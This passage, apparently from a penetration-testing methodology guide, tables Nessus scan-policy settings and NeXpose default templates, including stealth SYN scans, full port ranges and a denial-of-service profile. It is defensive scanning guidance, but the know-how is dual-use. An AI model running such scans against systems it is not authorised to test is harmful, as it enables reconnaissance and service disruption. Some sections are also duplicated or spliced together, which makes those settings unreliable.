SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank
HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank

Continued on next page

Table 9 – continued from previous page

Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked
Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8
Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank
POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank
Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**
Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>
Test group name regex	f[a-z].tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Checked
Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked

Continued on next page

Table 9 – continued from previous page

Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked
Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked
Do an ICMP ping	Checked
Number of Retries (ICMP)	2
Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**
Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked
SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000
End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com

Continued on next page

Table 9 – continued from previous page

From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161
SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**
Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Checked
Maximum run time (min)	60
Send POST requests	Unchecked
Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**
Number of pages to mirror	1000
Maximum depth	6
Start page	/
Excluded items regex	/server_privileges.php
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank

Continued on next page

Table 9 – continued from previous page

Policy file #4	Blank
Policy file #5	Blank

9.8.4 Appendix D - Creating the "Validation Scan" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called "Validation Scan." In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the "Policies" option on the bar at the top and then "+ Add" button on the right. The "Add Policy" screen will be displayed as follows: Screenshot Here

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Validation Scan
Visibility	Shared
Description	Validation Scan Only (Use to check that Nessus is working properly and the signature date)
Scan Section	**Setting**
Save Knowledge Base	Checked
Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked
Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked
Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Unchecked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked

Continued on next page

Table 10 – continued from previous page

Port Scan Options Section	**Setting**
Port Scan Range	22, 161, 1241, 8834
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	1
Network Receive Timeout (seconds)	5
Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password
Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank
Additional SMB domain (optional)(2)	Blank
Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
‘”SSH Settings ‘”	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank
SSH known_hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0

Continued on next page

Table 11 – continued from previous page

Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank
Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
'"Database Compliance Checks '"	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
'"Database Settings '"	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows
Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked

Continued on next page

Table 12 – continued from previous page

Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked
Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal
HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank
HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank
Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked
Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8
Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank

Continued on next page

Table 12 – continued from previous page

POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank
Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**
Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>
Test group name regex	f[a-z].tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Checked
Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked
Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked
Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked

Continued on next page

Table 12 – continued from previous page

Do an ICMP ping	Checked
Number of Retries (ICMP)	2
Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**
Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked
SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000
End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com
From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161
SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**
Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank

Continued on next page

Table 12 – continued from previous page

Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Checked
Maximum run time (min)	1
Send POST requests	Unchecked
Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**
Number of pages to mirror	0
Maximum depth	0
Start page	/
Excluded items regex	*
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank

9.8.5 Appendix E - NeXpose Default Templates

Denial of service

‘”Description: ‘”This basic audit of all network assets uses both safe and unsafe (denial-of-service) checks. This scan does not include in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

‘”Why use this template: ‘”You can run a denial of service scan in a preproduction environments to test the resistance of assets to denial-of service conditions.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”Local, patch, policy check types

Discovery scan

‘”Description: ‘”This scan locates live assets on the network and identifies their host names and operating systems. NeXpose does not perform enumeration, policy, or vulnerability scanning with this template.

‘”Why use this template: ‘”You can run a discovery scan to compile a complete list of all network assets. Afterward, you can target subsets of these assets for intensive vulnerability scans, such as with the Exhaustive scan template.

‘”Device/vulnerability scan: ‘”Y/N

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”21, 22, 23, 25, 80, 88, 110, 111, 135, 139, 143, 220, 264, 389, 443, 445, 449, 524, 585, 636, 993, 995, 1433, 1521, 1723, 3389, 8080, 9100

‘”UDP ports used for device discovery: ‘”53,67,111,135,137,161,500,1701

‘”Device discovery performance: ‘”5 ms send delay, 2 retries, 3000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”21, 22, 23, 25, 80, 110, 139, 143,220, 264, 443, 445, 449, 524, 585, 993, 995, 1433, 1521, 1723, 8080, 9100

‘”TCP port scan performance: ‘”0 ms send delay, 25 blocks, 500 ms block delay, 3 retries

‘”UDP ports to scan: ‘”161, 500

‘”Simultaneous port scans: ‘”10

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”None

Discovery scan (aggressive)

‘”Description: ‘”This fast, cursory scan locates live assets on high-speed networks and identifies their host names and operating systems. NeXpose sends packets at a very high rate, which may trigger IPS/IDS sensors, SYN flood protection, and exhaust states on stateful firewalls. NeXpose does not perform enumeration, policy, or vulnerability scanning with this template.

‘”Why use this template: ‘”This template is identical in scope to the discovery scan, except that it uses more threads and is, therefore, much faster. The tradeoff is that scans run with this template may not be as thorough as with the Discovery scan template.

‘”Device/vulnerability scan: ‘”Y/N

‘”Maximum # scan threads: ‘”25

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”21, 22, 23, 25, 80, 88, 110, 111, 135, 139, 143, 220, 264, 389, 443, 445, 449, 524, 585, 636, 993, 995, 1433, 1521, 1723, 3389, 8080, 9100

‘”UDP ports used for device discovery: ‘”53, 67, 111, 135, 137, 161, 500, 1701

‘”Device discovery performance: ‘”0 ms send delay, 2 retries, 3000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”21, 22, 23, 25, 80, 110, 139, 143, 220, 264, 443, 445, 449, 524, 585, 993, 995, 1433, 1521, 1723, 8080, 9100

‘”TCP port scan performance: ‘”0 ms send delay, 25 blocks, 500 ms block delay, 3 retries

‘”UDP ports to scan: ‘”161, 500

‘”Simultaneous port scans: ‘”25

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”None

Exhaustive

‘”Description: ‘”This thorough network scan of all systems and services uses only safe checks, including patch/hotfix inspections, policy compliance assessments, and application-layer auditing. This scan could take several hours, or even days, to complete, depending on the number of target assets.

‘”Why use this template: ‘”Scans run with this template are thorough, but slow. Use this template to run intensive scans targeting a low number of assets.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

I”’CMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”NeXpose determines optimal method

‘”TCP optimizer ports: ‘”21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

‘”TCP ports to scan: ‘”All possible (1-65535)

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”None

Full audit

‘”Description: ‘”This full network audit of all systems uses only safe checks, including network-based vulnerabilities, patch/hotfix checking, and application-layer auditing. NeXpose scans only default ports and disables policy checking, which makes scans faster than with the Exhaustive scan. Also, NeXpose does not check for potential vulnerabilities with this template.

‘”Why use this template: ‘”This is the default NeXpose scan template. Use it to run a fast, thorough vulnerability scan right “out of the box.”

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”Policy check type

HIPAA compliance

‘”Description: ‘”NeXpose uses safe checks in this audit of compliance with HIPAA section 164.312 (“Technical Safeguards”). The scan will flag any conditions resulting in inadequate access control, inadequate auditing, loss of integrity, inadequate authentication, or inadequate transmission security (encryption) .

‘”Why use this template: ‘”Use this template to scan assets in a HIPAA-regulated environment, as part of a HIPAA compliance program.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers +

1-1040

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”None

Internet DMZ audit

‘”Description: ‘”This penetration test covers all common Internet services, such as Web, FTP, mail (SMTP/POP/IMAP/Lotus Notes), DNS, database, Telnet, SSH, and VPN. NeXpose does not perform in-depth patch/hotfix checking and policy compliance audits will not be performed.

‘”Why use this template: ‘”Use this template to scan assets in your DMZ.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”N

‘”TCP ports used for device discovery: ‘”None

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well-known numbers

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”None

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”DNS, database, FTP, Lotus Notes/Domino, Mail, SSH, TFTP, Telnet, VPN, Web check categories

‘”Specific vulnerability checks disabled: ‘”None

Linux RPMs

‘”Description: ‘”This scan verifies proper installation of RPM patches on Linux systems. For optimum success, use administrative credentials.

‘”Why use this template: ‘”Use this template to scan assets running the Linux operating system.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum ‘”# scan threads: 10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”22, 23

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”22, 23

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”None

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”RPM check type

‘”Specific vulnerability checks disabled: ‘”None

Microsoft hotfix

‘”Description: ‘”This scan verifies proper installation of hotfixes and service packs on Microsoft Windows systems. For optimum success, use administrative credentials.

‘”Why use this template: ‘”Use this template to verify that assets running Windows have hotfix patches installed on them.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”135, 139, 445, 1433, 2400

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”135, 139, 445, 1433, 2433

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”None

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”Microsoft hotfix check type

‘”Specific vulnerability checks disabled: ‘”None

Payment Card Industry (PCI) audit

‘”Description: ‘”This audit of Payment Card Industry (PCI) compliance uses only safe checks, including network-based vulnerabilities, patch/hotfix verification, and application-layer testing. NeXpose scans all TCP ports and well-known UDP ports. NeXpose does not perform policy checks.

‘”Why use this template: ‘”Use this template to scan assets as part of a PCI compliance program.

‘’’Device/vulnerability scan: ‘’’Y/Y

‘’’Maximum # scan threads: ‘’’10

‘’’ICMP (Ping hosts): ‘’’Y

‘’’TCP ports used for device discovery: ‘’’22, 23, 25, 80, 443

‘’’UDP ports used for device discovery: ‘’’None

‘’’Device discovery performance: ‘’’5 ms send delay, 4 retries, 1000 ms block timeout

‘’’TCP port scan method: ‘’’Stealth scan (SYN)

‘’’TCP optimizer ports: ‘’’None

‘’’TCP ports to scan: ‘’’All possible (1-65535)

‘’’TCP port scan performance: ‘’’1 ms send delay, 5 blocks, 15 ms block delay, 5 retries

‘’’UDP ports to scan: ‘’’Well-known numbers

‘’’Simultaneous port scans: ‘’’5

‘’’Specific vulnerability checks enabled (which disables all other checks): ‘’’None

‘’’Specific vulnerability checks disabled: ‘’’Policy check types

Penetration test

‘’’Description: ‘’’This in-depth scan of all systems uses only safe checks. Host-discovery and network penetration features allow NeXpose to dynamically detect assets that might not otherwise be detected. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing .

‘’’Why use this template: ‘’’With this template, you may discover assets that are out of your initial scan scope. Also, running a scan with this template is helpful as a precursor to conducting formal penetration test procedures.

‘’’Device/vulnerability scan: ‘’’Y/Y

‘’’Maximum # scan threads: ‘’’10

‘’’ICMP (Ping hosts): ‘’’Y

‘’’TCP ports used for device discovery: ‘’’21, 22, 23, 25, 80, 443, 8080

‘’’UDP ports used for device discovery: ‘’’None

‘’’Device discovery performance: ‘’’5 ms send delay, 4 retries, 1000 ms block timeout

‘’’TCP port scan method: ‘’’NeXpose determines optimal method

‘’’TCP optimizer ports: ‘’’21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

‘’’TCP ports to scan: ‘’’Well known numbers + 1-1040

‘’’TCP port scan performance: ‘’’0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘’’UDP ports to scan: ‘’’Well-known numbers

‘’’Simultaneous port scans: ‘’’5

‘’’Specific vulnerability checks enabled (which disables all other checks): ‘’’None

‘’’Specific vulnerability checks disabled: ‘’’Local, patch, policy check types

Penetration test

‘”Description: ‘”This in-depth scan of all systems uses only safe checks. Host-discovery and network penetration features allow NeXpose to dynamically detect assets that might not otherwise be detected. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

‘”Why use this template: ‘”With this template, you may discover assets that are out of your initial scan scope. Also, running a scan with this template is helpful as a precursor to conducting formal penetration test procedures.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”21, 22, 23, 25, 80, 443, 8080

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”NeXpose determines optimal method

‘”TCP optimizer ports: ‘”21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”Local, patch, policy check types

Safe network audit

‘”Description: ‘”This non-intrusive scan of all network assets uses only safe checks. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

‘”Why use this template: ‘”This template is useful for a quick, general scan of your network.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

‘”TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

Specific vulnerability checks enabled (which disables all other checks): None

‘”Specific vulnerability checks disabled: ‘”Local, patch, policy check types

Sarbanes-Oxley (SOX) compliance

‘”Description: ‘”This is a safe-check

Sarbanes-Oxley (SOX) audit of all systems. It detects threats to digital data integrity, data access auditing, accountability, and availability, as mandated in Section 302 (“Corporate Responsibility for Fiscal Reports”), Section 404 (“Management Assessment of Internal Controls”), and Section 409 (“Real Time Issuer Disclosures”) respectively.

‘”Why use this template: ‘”Use this template to scan assets as part of a SOX compliance program.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”10

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”80

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”5 ms send delay, 4 retries, 1000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

SCADA audit

‘”Description: ‘”This is a “polite,” or less aggressive, network audit of sensitive Supervisory Control And Data Acquisition (SCADA) systems, using only safe checks. Packet block delays have been increased; time between sent packets has been increased; protocol handshaking has been disabled; and simultaneous network access to assets has been restricted.

‘”Why use this template: ‘”Use this template to scan SCADA systems.

‘”Device/vulnerability scan: ‘”Y/Y

‘”Maximum # scan threads: ‘”5

‘”ICMP (Ping hosts): ‘”Y

‘”TCP ports used for device discovery: ‘”None

‘”UDP ports used for device discovery: ‘”None

‘”Device discovery performance: ‘”10 ms send delay, 3 retries, 2000 ms block timeout

‘”TCP port scan method: ‘”Stealth scan (SYN)

‘”TCP optimizer ports: ‘”None

‘”TCP ports to scan: ‘”Well known numbers + 1-1040

‘”TCP port scan performance: ‘”10 ms send delay, 10 blocks, 10 ms block delay, 4 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: **Policy check type**TCP port scan performance: ‘”0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

‘”UDP ports to scan: ‘”Well-known numbers

‘”Simultaneous port scans: ‘”5

‘”Specific vulnerability checks enabled (which disables all other checks): ‘”None

‘”Specific vulnerability checks disabled: ‘”None

Web audit

